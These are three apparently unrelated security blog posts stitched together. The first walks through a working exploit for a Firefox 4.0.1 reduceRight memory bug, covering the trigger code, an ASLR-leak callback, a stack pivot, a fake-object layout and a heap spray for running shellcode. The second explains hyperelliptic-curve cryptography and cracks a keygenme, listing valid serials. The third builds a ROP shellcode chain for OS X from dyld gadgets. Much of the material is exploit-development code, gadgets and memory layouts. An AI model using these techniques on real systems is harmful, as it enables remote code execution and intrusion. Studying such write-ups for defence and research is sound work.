In this post I’ll show how to exploit this vulnerability on Firefox 4.0.1/Window 7, by leaking imagebase of one of Firefox’s modules, thus circumventing ASLR without any additional dependencies.

The bug

You can see the original bug report with detailed analysis here. To make a long story short, this is the trigger:

xyz = new Array;
xyz.length = 0x80100000;

a = function foo(prev, current, index, array) {
	current[0] = 0x41424344;
}

xyz.reduceRight(a,1,2,3);

Executing it crashes Firefox:

eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208
eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mozjs!JS_FreeArenaPool+0x15e1:
004f0be1 8b14c8          mov     edx,dword ptr [eax+ecx*8] ds:0023:04d4f228=????????

eax holds a pointer to “xyz” array and ecx is equal to xyz.length-1. reduceRight visits all elements of given array in reverse order, so if the read @ 004f0be1 succeeds and we won’t crash inside the callback function (foo), JS interpreter will loop the above code with decreasing values in ecx.

Value read @ 004f0be1 is passed to foo() as the “current” argument. This means we can trick the JS interpreter into passing random stuff from heap to our javascript callback. Notice we fully control the array’s length, and since ecx is multiplied by 8 (bitshifted left by 3 bits), we can access memory before of after the array, by setting/clearing the 29th bit of length. Neat .

During reduceRight(), the interpreter expects jsval_layout unions:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

274 typedef union jsval_layout
275 {
276     uint64 asBits;
277     struct {
278         union {
279             int32          i32;
280             uint32         u32;
281             JSBool         boo;
282             JSString       *str;
283             JSObject       *obj;
284             void           *ptr;
285             JSWhyMagic     why;
286             jsuword        word;
287         } payload;
288         JSValueTag tag;
289     } s;
290     double asDouble;
291     void *asPtr;
292 } jsval_layout;

To be more specific, we are interested in the “payload” struct. Possible values for “tag” are:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

92 JS_ENUM_HEADER(JSValueType, uint8)
93 {
94     JSVAL_TYPE_DOUBLE              = 0x00,
95     JSVAL_TYPE_INT32               = 0x01,
96     JSVAL_TYPE_UNDEFINED           = 0x02,
97     JSVAL_TYPE_BOOLEAN             = 0x03,
98     JSVAL_TYPE_MAGIC               = 0x04,
99     JSVAL_TYPE_STRING              = 0x05,
100     JSVAL_TYPE_NULL                = 0x06,
101     JSVAL_TYPE_OBJECT              = 0x07,
...
119 JS_ENUM_HEADER(JSValueTag, uint32)
120 {
121     JSVAL_TAG_CLEAR                = 0xFFFF0000,
122     JSVAL_TAG_INT32                = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32,
123     JSVAL_TAG_UNDEFINED            = JSVAL_TAG_CLEAR | JSVAL_TYPE_UNDEFINED,
124     JSVAL_TAG_STRING               = JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING,
125     JSVAL_TAG_BOOLEAN              = JSVAL_TAG_CLEAR | JSVAL_TYPE_BOOLEAN,
126     JSVAL_TAG_MAGIC                = JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC,
127     JSVAL_TAG_NULL                 = JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL,
128     JSVAL_TAG_OBJECT               = JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT
129 } JS_ENUM_FOOTER(JSValueTag);

Does it mean we can only read first dwords of pairs (d1,d2), where d2=JSVAL_TAG_INT32 or d2=JSVAL_TYPE_DOUBLE? Fortunately for us, no. Observe how the interpreter checks if a jsval_layout is a number:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

405 static JS_ALWAYS_INLINE JSBool
406 JSVAL_IS_NUMBER_IMPL(jsval_layout l)
407 {
408     JSValueTag tag = l.s.tag;
409     JS_ASSERT(tag != JSVAL_TAG_CLEAR);
410     return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET;

So any pair of dwords (d1, d2), with d2<=JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (which is equal to JSVAL_TAG_INT32) is interpreted as a number.

This isn’t the end of good news, check how doubles are recognized:

http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

369 static JS_ALWAYS_INLINE JSBool
370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l)
371 {
372     return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR;
373 }

This means that any pair (d1,d2) with d2<=0xffff0000 is interpreted as a double-precision floating point number. It’s a clever way of saving space, since doubles with all bits of the exponent set and nonzero mantissa are NaNs anyway, so rejecting doubles greater than 0xffff 0000 0000 0000 0000 isn’t really a problem — we are just throwing out NaNs.

Leaking the image base

Knowing that most of values read off the heap are interpreted as doubles in our javascript callback (function foo above), we can use a library like JSPack to decode them to byte sequences.

        var leak_func =
            function bleh(prev, current, index, array) {
                if(typeof current == "number"){
                    mem.push(current); //decode with JSPack later
                }
                count += 1;
                if(count>=CHUNK_SIZE/8){
                    throw "lol"; //stop dumping
                }
        }

Notice that we are verifying the type of “current”. It’s necessary because if we encounter a jsval_value of type OBJECT, manipulating it later will cause an undesired crash.

Having a chunk of memory, we still need to comb it for values revealing the image base of mozjs.dll (that’s the module implementing reduceRight). Good candidates are pointers to functions in .code section, or pointers to data structures in .data, but how to find them? After all, they change with every run, because of varying image base.

By examining dumped memory manually, I noticed it’s always possible to find a pair of pointers (with fixed RVAs) to .data section, differing by a constant (0×304), so a simple algorithm is to sequentially scan pairs of dwords, check if their difference is 0×304 and use their (known) RVAs to calculate mozjs’ image base (image_base = ptr_va – ptr_rva).

It’s a heuristic, but it works 100% of the time  .

Taking control

Assume we are able to pass a controlled jsval_layout with tag=JSVAL_TYPE_OBJECT to our JS callback. Here’s what happens after executing “current[0]=1″ if the “payload.ptr” field points to an area filled with \x88:

eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888
eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
mozjs!js::mjit::stubs::SetElem$lt;0>+0xf9:
655301a9 8b4764          mov     eax,dword ptr [edi+64h] ds:002b:888888ec=????????

0:000> k
ChildEBP RetAddr
0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567]
0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619]
0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857]
0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]

We are using \x88 as a filler, so that every pointer taken from that area is equal to 0×88888888. Since the highest bit is set (and the pointer points to kernel space), every dereference will cause a crash and we will notice it under a debugger. Using low values, like 0x0c, as a filler during exploit development can make us miss crashes, if 0x0c0c0c0c happens to be mapped .

It seems like we can control the value of edi. Let’s see if it’s of any use:

0:000> u eip l10
mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]:
655301a9 8b4764          mov     eax,dword ptr [edi+64h]
655301ac 85c0            test    eax,eax
655301ae 7505            jne     mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5)
655301b0 b830bb4965      mov     eax,offset mozjs!js_SetProperty (6549bb30)
655301b5 8b54241c        mov     edx,dword ptr [esp+1Ch]
655301b9 6a00            push    0
655301bb 8d4c2424        lea     ecx,[esp+24h]
655301bf 51              push    ecx
655301c0 53              push    ebx
655301c1 55              push    ebp
655301c2 52              push    edx
655301c3 ffd0            call    eax
655301c5 83c414          add     esp,14h
655301c8 85c0            test    eax,eax

That’s exactly what we need — value from [edi+64h] (edi is controlled) is a function pointer called @ 655301c3.

Where does edi value come from?

0:000> u eip-72 l10
mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]:
65530137 8b7d04          mov     edi,dword ptr [ebp+4]
6553013a 81ffb05f5e65    cmp     edi,offset mozjs!js_ArrayClass (655e5fb0)
65530140 8b5c2414        mov     ebx,dword ptr [esp+14h]
65530144 7563            jne     mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9)

edi=[ebp+4], where ebp is equal to payload.ptr in our jsval_layout union.

It’s now easy to see how to control EIP. Trigger setElem on a controlled jsval_layout union (by executing “current[0]=1″ in the JS callback of reduceRight), with tag=JSVAL_TYPE_OBJECT, and ptr=PTR_TO_CONTROLLED_MEM, where [CONTROLLED_MEM+4]=NEW_EIP. Easy .

Since ASLR is not an issue (we already have mozjs’ image base) we can circumvent DEP with return oriented programming. With mona.py it’s very easy to generate a ROP chain that will allocate a RWX memory chunk. From that chunk, we can run our “normal” shellcode, without worrying about DEP.

!mona rop -m "mozjs" -rva

“-m” restricts search to just mozjs.dll (that’s the only module with known image base)
“-rva” generates a chain parametrized by module’s image base.

I won’t paste the output, but mona is able to find a chain that uses VirtualAlloc to change memory permissions to RWX.

There’s only one problem. In order to use that chain, we need to control the stack. During the call @ 655301c3, we don’t. Fortunately, we do control EBP, which is equal to layout.ptr field in our fake object. First idea is to use any function’s epilogue:

mov esp, ebp
pop ebp
ret

as a pivot, but notice that RET will transfer control to an address stored in [ebp+4], and since:

65530137 8b7d04          mov     edi,dword ptr [ebp+4]

that would mean [ebp+4] has to be a return address and a pointer to a function pointer called later @ 655301c3.

We have to modify EBP before copying it to ESP. Noticing that during SetElem, property’s id is passed in EBX as 2*id+1 (when executing “current[id] = …”), it’s easy to pick a good gadget:

// 0x68e7a21c, mozjs.dll
// found with mona.py
ADD EBP,EBX
PUSH DS
POP EDI
POP ESI
POP EBX
MOV ESP,EBP //(1)
POP EBP //(2)
RETN

This will offset EBP by a controlled ODD value. Unicode chars in JS have two byte chars, so it’s better to have EBP aligned to 2. We can realign ESP by pivoting again with new EBP value popped @ (2) and executing the same gadget from line (1).

This is how our fake object has to look like:

+------------+
|            |      9       13          17
v------------+----------------------------------------------------------------------+
|pivot_va | ptr | 00,new_ebp,mov_esp_ebp,00 | new_ebp2 | ROP ... normal shellcode ...
+-----------------------+-----------------------------------------------------------+
0         4     8       |                   18         22
                        |                   ^
                        |                   |
                        +-------------------+

pivot_va – address of the gadget above
new_ebp – value popped at (2) used to realign the stack to 2
mov_esp_ebp – address of (1)
new_ebp2 – new value of EBP after executing (2) for the second time, not used
ROP – generated ROP chain changing memory perms
normal shellcode – message box shellcode by Skylined

Spraying

Here’s a nice diagram (asciiflow FTW) describing how we are going to arrange (or attempt to arrange) things in memory:

                low addresses
           +---------------------+
     +-------+ ptr  | 0xffff0007 | ^
     |     +---------------------| |
     |     |                     | |
     |     |         .           | |
     |     |         .           | |
     |     |         .           | |
     |     +---------------------| | half1
     |  +----+ ptr  | 0xffff0007 | |
     |  |  +---------------------| |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |                     | v
     |  |  +-----end of half1----+
     |  |  |                     | ^
     |  |  |                     | |
     |  |  |                     | | margin of
     |  |  |         .           | | error
     |  |  |         .           | |
     |  |  +---------------------+ v
     +--|---> fake object        |
        |  +--^------------------+
        |  |  |      .           |
        |  |  |      .           |
        +-----+                  |
           |                     |
           |                     |
           +---------------------+
                high addresses

Our spray will consist of two regions. First one will be filled with jsval_layout unions, with tag=0xffff0007 (JSVAL_TYPE_OBJECT) and ptr pointing to the second region, filled with fake objects described above.

If you run the PoC exploit on Windows XP, this is how (most likely) the heap is going to look like:

Zooming into of the 1MB chunks:

Notice how our payload is aligned to 4KB boundary. This is because of how the spray is implemented: unicode strings are stored in an array. Beginning of the array is used to store metadata, and the actual data starts @ +4KB. It’s also useful to note that older versions of FF have a bug related to rounding allocation sizes and, in effect, allocating too much memory for objects (including strings), so instead of nicely aligned strings in array, we will get strings interleaved with chunks containing NULL bytes (I’ll explain why this isn’t a problem in a sec.).

This is how the fake objects from the second part of spray look like:

Four NOPs at the bottom mark the end of mona’s ROP chain.

Putting it all together

• Leak mozjs’ image base, as described above.
• Spray the heap with JS, as described above.
• Note where the spray starts in memory, across different OSes. Different versions of the exploit should use OS-specific constants for calculating array’s length used in reduceRight().
• Calculate the length of the array (xyz in the trigger PoC) so that the first dereference should happen in the middle of first half of the spray. Aiming at the middle gives us the biggest possible margin of error — if the spray’s starting address deviates from expected value by less than size/2, it shouldn’t affect our exploit.
• Trigger the bug.
• Inside JS callback, trigger SetElem, by executing “current[4]=1″. In case of a JS exception (TypeError: current is undefined), change array’s length and continue. These exceptions are caused by NULL areas between strings. Encountering them isn’t fatal, because the JS interpreter sees them as “undefined” values and throws us a JS exception, instead of crashing .
• See a nice messagebox, confirming success

Limitations

PoC exploit assumes (like all other public exploits for this bug) that the heap is not polluted by previous allocations. This is a bit unrealistic, because the most common “use-case” is that the victim clicks a link leading to the exploit, meaning the browser is already running and most likely has many tabs already opened. In that situation our spray probably won’t be a continuous chunk of memory, which will lead to problems (crashes).

Assuming that the PoC is the first and only page opened in Firefox, probability of success (running shellcode) depends on how long we need to search for mozjs’ image base. The longer it takes, the more trash gets accumulated on the heap, resulting in more “discontinuities” in the spray region.

Get the PoC here.

In this blog post, I will try to introduce HE curves, and how to use them in crypto. Using that knowledgle, it will be easy to analyze and break a signature scheme implemented in keygenme #2 by Dcoder. Note that this won’t be a rigorous mathematical dissertation, but a “tutorial” for mathematically inclined programmer .

Hyperelliptic curves

The most general definition of an elliptic curve, is

.

is just a set of points fulfilling an equation that is quadratic in terms of and cubic in . By introducting a special point (point at infinity) it’s possible to equip with “point addition“, turning it into an abelian group.

Hyperelliptic curves are more complicated. HE curve of genus over a field is defined as:

where , , , and monic. Elliptic curves are hyperelliptic curves with . To define addition on , we need to jump through few mathematical hoops .

Zeros and poles

Consider rational functions over algebraically closed field. Let . It’s easy to see, that is a zero of . It’s also evident, that .

If for a given , , we will say that has a pole at . When , we will say that has a pole at infinity. This is to provide intuition, just remember that pole at infinity == function is not bound at infinity. To be able to compute order of such pole, compute order of pole of .

is a zero of order for , if is the largest integer, such that , where is a rational function. Order of a pole is similar: is a pole of order if is the largest integer, such that . Notice we are allowed to factor this way, because we are working over an algebraically closed field, and because of fundamental theorem of algebra.

In our example, has a zero of order 3 at , a pole of order 2 at and a pole of order 1 at infinity.

Another example. Let . is a zero of order 5. We also have a pole at infinity. To compute its order, we need to know the order of of , so order = 5.

Divisors

Consider set of rational functions over , where HE curve is defined over . “Over” means our function acts on points of , so for , arguments and satisfy “for free”.

To keep track of zeros and poles of a function, we can use a divisor. You can think about them as multisets allowing negative number of elements. For example, let have a zero of order 2 at , zero of order 1 at , pole of order 2 at and pole of order 1 at infinity. Divisor of is . Note that divisors aren’t supposed to be evaluated (plus and minus signs are not for point addition/subtraction), they are just “lists”, or “multisets” of zeros/poles. You can look at like it’s a list: .

More formally, for a nonzero rational function on , its divisor is given by

where almost all of coefficients are zero (there are finitely many nonzero). is defined as:

•  ,  if is a zero of order ,
•  , if is a pole of order ,
•  0, if is neither a zero, nor a pole.

is “order of vanishing of function at point “. For details see [1] (page 8). You can assume that computing orders works like for ordinary rational functions, so it’s ok to factor nominator / denominator, etc (this isn’t 100% true, but that’s not imporant).

To continue, we need

Theorem 1

Let be a rational function on , then .

For proof, see theorem 4.6, page 9 in [1]. This theorem is useful for computing divisors. For , compute zeros of and (poles of ) and check if their orders (using definition of above) sum to 0. If not, add / subtract point at infinity.

We can add / subtract divisors, by adding / subtracting like terms. For example, let (over complex numbers), where (genus 1 curve), , .

To find we need to know zeros and poles of . Since , there are 3 points on with : . There are two points with : . Points are zeros and are poles, so ( was added to satisfy theorem 1). Similary ().

Now, , where . You might notice, that . Indeed, it’s true that:

From the above properties, it follows that set of divisors of rational functions (we will call them principal divisors) form a subgroup of all divisors . We will denote subgroup of divisors of degree 0 (with sum of coefficients equal to zero) as . Theorem 1 implies that .

Here comes the magic part.

We define quotient group  as:

is called the degree zero part of the Picard (or divisor class) group of .

For a hyperelliptic curve of genus , there exists an abelian variety of dimension which is isomorphic to . is called the Jacobian of .

You can safely disregard the magic part above. The important thing to know is that with HE curves, we perform operations on its Jacobian. has its own group law, that uses reduced divisors in their Mumford representation.

If you want to just implement HE crypto, you can treat Cantor’s algorithm and Mumford representation as blackboxes given by mathematicians, but I think it’s useful to know how divisors work and what Mumford polynomials represent.

It’s time to analyze our target and show some examples.

Keygenme

Dcoder implemented polynomial operations on his own, so we are forced to identify them by hand, by looking at the disassembly. This part is easy, so I’ll skip it .

What’s not easy is identifying the protection scheme, without knowing how HE crypto works. There are many clues that the keygenme implements elliptic curve crypto. For example, here’s a top level view of a part of the verification procedure:

    decode_serial(&part4, &part3, &part2, &part1);
    serial_part12 = __PAIR__(part2 << 32 >> 32, part1);
    v20 = part3;
    f1(&k1_Px, &k1_Py, &f, &h, &Px, &Py, part3 + (part4 << 32));
    f1(&k2_Qx, &k2_Qy, &f, &h, &Qx, &Qy, serial_part12);
    f2(&k1_Px, &k1_Py, &f, &h, &k1_Px, &k1_Py, &k2_Qx, &k2_Qy);

Looking inside f1, we see:

  do
  {
    f2(&a3a, &v13, f, h, &a3a, &v13, &a3a, &v13);
    if ( k & (1i64 << v7) )
      f2(&a3a, &v13, f, h, &a3a, &v13, in_x, in_y);
    --v7;
  }
  while ( v7 >= 0 );

This looks like double and add algorithm for elliptic curves, so our hypothesis is that f1 is point multiplication and f2 point addition. We can verify this by feeding values to these functions and checking their output. For example, computing P+P and 2*P should produce the same result. Quick check shows that’s indeed the case.

With high level functions identified, it’s easy to see that we are dealing with Nyber-Rueppel signature scheme. In order to emit correct signatures, we need to solve an instance of discrete logarithm problem.

Even without knowing that we are dealing with HE curves, we can just rip the code for point addition and use it as a blackbox in Pollard’s kangaroo (lambda) algorithm. Kangaroo attack works in all groups and uses only addition and multiplication in that group. Running time is , where is the interval containing the discrete log.. Notice that we can’t use Pollard’s rho (which is faster by a constant), because rho requires group’s order as a parameter and we have no means to compute it without knowing what group we are dealing with.

Even with Pollard’s kangaroo, we still need to know how large the order is. If it’s too big, then perhaps we need to be smarter about finding this DLOG. We can obtain a rough estime, by observing what kind of points we are getting out of point addition/multiplication procedures.

Quick inspection in debugger shows, that coordinate is always a monic polynomial of degree at most 4, and a polynomial of degree at most 3. Since we are working with polynomials over with , there can be at most (we expect our curve to be symmetric, thus the additional 2 factor) such points in our mysterious group . It’s a lot, but remember that kangaroo attack has a running time of , so in our case which is low enough for kangaroo to be practical.

The curve

Knowing we are dealing with hyperelliptic curve, we can be more specfic about group’s order — we can actually compute it exactly and this will allow us to use Pollard’s rho, instead of kangaroo.

Here are the params, in SAGE format:

x = GF(8191)['x'].gen()
f = 3076 + 1177*x + 6969 * x^2 + 294*x^3 + 6512*x^4 + 7340*x^5 + 5891*x^6 + 3050*x^7 + 0*x^8 + 1*x^9
H = HyperellipticCurve(f)
J = H.jacobian()
X = J(GF(8191))
Px = 1875 + 1721*x + 5809*x^2 + 5647*x^3 + 1*x^4
Py = 6019 + 3070*x + 1666*x^2 + 688*x^3
Qx = 4134 + 2027*x + 4475*x^2 + 4255*x^3 + 1*x^4
Qy = 6525 + 928*x + 1361*x^2 + 6937*x^3
P = X([Px,Py])
Q = X([Qx,Qy])
O = P-P
frob = H.frobenius_polynomial()
order = frob(1)
dlog = 3414275298009790
print order*P == O, dlog*P == Q

Running the above in SAGE will produce True, True on output, which means order of jacobian and the dlog are indeed correct.

The HE we are working on is , where and , so genus . Since we are working with polynomials over , with , jacobian will be defined over .

Order of jacobian is given explicitly by , where is its characteristic (Frobenius) polynomial (page 6, [2]).

The exact order is 4518471260972087 (~2^52), which is 2 times smaller than our rough estimate of 2^53, so knowing the exact order decreases the running time of kangaroo by a factor of .

We can also bound the order using Hasse-Weil theorem. In our case, theorem states that order lies in the interval . The upper bound is 1.08 times larger than the exact order, so it’d be a very good estimate.

Kangaroo implemented with FLINT solves the DLP in under an hour, using one 2GHz core. The solution is  3414275298009790.

Summary

For hyperelliptic curves, group law is defined for their Jacobians. To “add points” use Mumford representation and Cantor’s algorithm. For solving DLP over HE curves, you can use general purpose algorithms like Pollard’s rho/lambda, Pohlig Hellman, or index calculus. Note that curves of high genus are insecure in the sense that index calculus runs in  subexponential time for them (see here for a discussion). For bounding/computing order, use Hasse-Weil theorem, or Frobenius polynomial.

Sources available on github, as usual.

Few serials, to prove correctness :

pa_kt
38531D6B8FDF2A884166423D58B125B2
-
trololo
C356A2AB43CA6ACCEF72CCEE0C3FD40A
-
crackmes.us
076C49CC3AFF9D25CE8B7CA783B72430

P.S.

Dcoder pointed out I should mention the Riemann-Roch theorem. Thanks to R-R it’s possible to construct the isomorphism between and (it ensures the existence of reduced divisors).

References

[1] Leonard S. Charlap, David P. Robbins, An Elementary Introduction to Elliptic Curves 

[2] Pierrick Gaudry, Robert Harley, Counting Points on Hyperelliptic Curves over Finite Fields

The only public ROP dyld shellcode for OS X was presented in [1]. Charlie Miller’s version works under the assumption that that rax/rdi have specific values. Due to x64 calling convention [2] it is very probable that this precondition is met. Nevertheless it would be useful to create a shellcode with weaker assumptions — that’s exactly what this post is about. We will create a generic ROP shellcode, similiar to sayonara, but for OS X .

Stack pivoting

We assume that rsp is fully controlled. Sometimes, achieving such state is a nontrivial task in itself — for every bug, exploitation can begin with different register/memory values. In [1], an easy case of stack pivoting is described — we start with rax pointing to controlled memory, and rdi to a valid buffer. We then set rsp = rax with:

0x00007fff5fc24c8b mov    QWORD PTR [rdi+0x38],rax
(irrelevant)
0x00007fff5fc24cd8 mov    rsp,QWORD PTR [rdi+0x38]
0x00007fff5fc24cdc pop    rdi
0x00007fff5fc24cdd ret

Easy! The problem is, we might not be so lucky to start with rax pointing to fully controlled memory. For example, we may start with the following:

call [rax+0x100]

Where memory in range [rax, rax+0xF0] is random, and we control buffer starting at rax+0xF1. Starting conditions for every bug are different and pivoting the stack can be even harder than creating a ROP chain, since during pivoting the state we start with can be completely arbitrary, when during ROP we already control the stack.

There is no generic way to remedy this problem, but having a large database of usable gadgets would certainly help . That brings us to an annoying problem: “leave” instruction. “Leave” is equivalent to:

mov rsp, rbp
pop rbp

If we don’t control rbp, we will lose control of the stack. The problem is, “leave” is very often present before “ret”, effectively limiting the number of gadgets we can use.

Fortunately, there is a little trick that will allow us to use any “leave” gadget. We need to create a “fake” stack frame with a series of 3 indirect calls, like so:

call [rax]+------------+
(...)<--------------+  |
call [rax+4]+       |  |
            |       |  +----> push rbp
            |       |         mov  rbp, rsp
+-----------+       |         (...)
|                   |         call [rax+8]+
|                   |                     |
+-->continue        |      +--------------+
                    |      |
                    |      |
                    |      +->(gadget)
                    |         leave
                    +--------+ret

Start from call [rax] and follow the execution flow along the arrows. With such construct, we can safely call any gadget ending with “leave / ret”. Such sequences (two indirect calls with different displacements near each other) may be rare, but we don’t need many of them, one is sufficient. We can use the second call (call [rax+4]) to jump to a sequence that will perturb rax and then jump back to “call [rax]“, allowing us to use the same “dispatcher” gadget as many times as we need to use a “leaver”. Here’s an example of such dispatcher, from dyld:

 
DISPATCHER:
__text:00007FFF5FC0D1BF                 call    qword ptr [rax+78h]
__text:00007FFF5FC0D1C2                 mov     rsi, rax
__text:00007FFF5FC0D1C5                 test    rax, rax
__text:00007FFF5FC0D1C8                 jz      short loc_7FFF5FC0D1E0
__text:00007FFF5FC0D1CA                 mov     rax, [rbx]
__text:00007FFF5FC0D1CD                 mov     rcx, rbx
__text:00007FFF5FC0D1D0                 mov     rdx, r12
__text:00007FFF5FC0D1D3                 mov     rdi, rbx
__text:00007FFF5FC0D1D6                 call    qword ptr [rax+80h]

FAKE FRAME SETUP:
__text:00007FFF5FC0CD44                 push    rbp
__text:00007FFF5FC0CD45                 mov     rbp, rsp
__text:00007FFF5FC0CD48                 mov     [rbp+var_18], rbx
__text:00007FFF5FC0CD4C                 mov     [rbp+var_10], r12
__text:00007FFF5FC0CD50                 mov     [rbp+var_8], r13
__text:00007FFF5FC0CD54                 sub     rsp, 20h
__text:00007FFF5FC0CD58                 mov     r12, rdi
__text:00007FFF5FC0CD5B                 mov     r13d, esi
__text:00007FFF5FC0CD5E                 mov     rax, [rdi]
__text:00007FFF5FC0CD61                 call    qword ptr [rax+1A0h]

Few preconditions related to register values must be met, for the gadgets above to work. Since we don’t control the stack during pivoting, we need to use gadgets ending with indirect jumps, or calls, to set registers and memory to necessary values.

“Leave” problem is particulary crippling during pivoting and that’s when fake frames should be used. During ROP, it’s easier to just control rbp and point it to memory set earlier.

ROP

Plan is simple: use gadgets from dyld to create RWX memory area  (using vm_protect), then copy normal shellcode to that area, and jump to it.

Here’s the vm_protect call we will use to make memory from dyld’s .data section executable:

__text:00007FFF5FC0D34A                 mov     r8d, ebx        ; new_protection
__text:00007FFF5FC0D34D                 xor     ecx, ecx        ; set_maximum
__text:00007FFF5FC0D34F                 mov     rdx, rax        ; size
__text:00007FFF5FC0D352                 mov     rsi, [rbp+address] ; address
__text:00007FFF5FC0D356                 lea     rax, _mach_task_self_
__text:00007FFF5FC0D35D                 mov     edi, [rax]      ; target_task
__text:00007FFF5FC0D35F                 call    _vm_protect
__text:00007FFF5FC0D364                 test    eax, eax
__text:00007FFF5FC0D366                 jz      short loc_7FFF5FC0D38D
__text:00007FFF5FC0D38D loc_7FFF5FC0D38D:
__text:00007FFF5FC0D38D                 cmp     byte ptr [r12+0FAh], 0
__text:00007FFF5FC0D396                 jz      short loc_7FFF5FC0D406
__text:00007FFF5FC0D406 loc_7FFF5FC0D406:
__text:00007FFF5FC0D406                 mov     rbx, [rbp+var_28]
__text:00007FFF5FC0D40A                 mov     r12, [rbp+var_20]
__text:00007FFF5FC0D40E                 mov     r13, [rbp+var_18]
__text:00007FFF5FC0D412                 mov     r14, [rbp+var_10]
__text:00007FFF5FC0D416                 mov     r15, [rbp+var_8]
__text:00007FFF5FC0D41A                 leave
__text:00007FFF5FC0D41B                 retn

This is the same technique as in [1]. Few registers need to be set for this to work: registers used as parameters for vm_protect and rbp, to survive “leave / ret” at the end. We can set them one by one, jumping over different gadgets like described in [1], or set them all at once, using the following:

__text:00007FFF5FC24CA1                 mov     rax, [rdi]
__text:00007FFF5FC24CA4                 mov     rbx, [rdi+8]
__text:00007FFF5FC24CA8                 mov     rcx, [rdi+10h]
__text:00007FFF5FC24CAC                 mov     rdx, [rdi+18h]
__text:00007FFF5FC24CB0                 mov     rsi, [rdi+28h]
__text:00007FFF5FC24CB4                 mov     rbp, [rdi+30h]
__text:00007FFF5FC24CB8                 mov     r8, [rdi+40h]
__text:00007FFF5FC24CBC                 mov     r9, [rdi+48h]
__text:00007FFF5FC24CC0                 mov     r10, [rdi+50h]
__text:00007FFF5FC24CC4                 mov     r11, [rdi+58h]
__text:00007FFF5FC24CC8                 mov     r12, [rdi+60h]
__text:00007FFF5FC24CCC                 mov     r13, [rdi+68h]
__text:00007FFF5FC24CD0                 mov     r14, [rdi+70h]
__text:00007FFF5FC24CD4                 mov     r15, [rdi+78h]
__text:00007FFF5FC24CD8                 mov     rsp, [rdi+38h]
__text:00007FFF5FC24CDC                 pop     rdi
__text:00007FFF5FC24CDD                 retn

We can fill a buffer from dyld’s .data section with values we want to set registers with and simply call the above gadget. The only problem with this approach is rsp being overwritten (mov rsp, [rdi+38h]), but we can remedy this by creating a “fake” stack somewhere in memory .
Below is a WRITE MEM gadget sequence we can use.

__text:00007FFF5FC23373                 pop     rbx
__text:00007FFF5FC23374                 retn

__text:00007FFF5FC24CDC                 pop     rdi
__text:00007FFF5FC24CDD                 retn

__text:00007FFF5FC24CE1                 mov     [rdi+8], rbx
__text:00007FFF5FC24CE5                 mov     [rdi+10h], rcx
__text:00007FFF5FC24CE9                 mov     [rdi+18h], rdx
__text:00007FFF5FC24CED                 mov     [rdi+20h], rdi
__text:00007FFF5FC24CF1                 mov     [rdi+28h], rsi
__text:00007FFF5FC24CF5                 mov     [rdi+30h], rbp
__text:00007FFF5FC24CF9                 mov     [rdi+38h], rsp
__text:00007FFF5FC24CFD                 add     qword ptr [rdi+38h], 8
__text:00007FFF5FC24D02                 mov     [rdi+40h], r8
__text:00007FFF5FC24D06                 mov     [rdi+48h], r9
__text:00007FFF5FC24D0A                 mov     [rdi+50h], r10
__text:00007FFF5FC24D0E                 mov     [rdi+58h], r11
__text:00007FFF5FC24D12                 mov     [rdi+60h], r12
__text:00007FFF5FC24D16                 mov     [rdi+68h], r13
__text:00007FFF5FC24D1A                 mov     [rdi+70h], r14
__text:00007FFF5FC24D1E                 mov     [rdi+78h], r15
__text:00007FFF5FC24D22                 mov     rsi, [rsp+0]
__text:00007FFF5FC24D26                 mov     [rdi+80h], rsi
__text:00007FFF5FC24D2D                 retn

First we pop the value, then the address and finally set memory with “mov [rdi+8], rbx”. Notice that we also trash values higher is memory, from rdi+0×10, to rdi+0×80, so we need to remember to write to LOWER addresses first.

We could copy our “normal shellcode” to RWX memory using the above sequence, but it would be wasteful in terms of stack space. Observe that to copy a single QWORD, we need 5 QWORDs on the stack (3 gadgets, address, value). It’s more efficient to create a small “stub” that will take care of this.

; copy normal shellcode to RWX area
; size = 0x1000
stub:
    lea rsi, [r15+offset]
    xor rcx, rcx
    inc rcx
    shl rcx, 12
    lea rdi, [rel normal_shellcode] ;rip relative addressing
    rep movsb
normal_shellcode:

rsi is set to point to old stack (passed in r15), normal shellcode starts from a constant offset. We save a bit of space using rip-relative addressing (x64 feature) to set rdi, rather than a constant 8-byte address.

To summarize:

• set register values in dyld’s .data buffer
• create a fake stack and a fake stack frame in memory
• copy stub to future RWX area
• set all registers to correct values
• use vm_protect to create RWX area
• load r15 with previous stack pointer
• jump to RWX memory
• stub will copy our “normal” shellcode from old stack to RWX mem
• ???
• PROFIT!

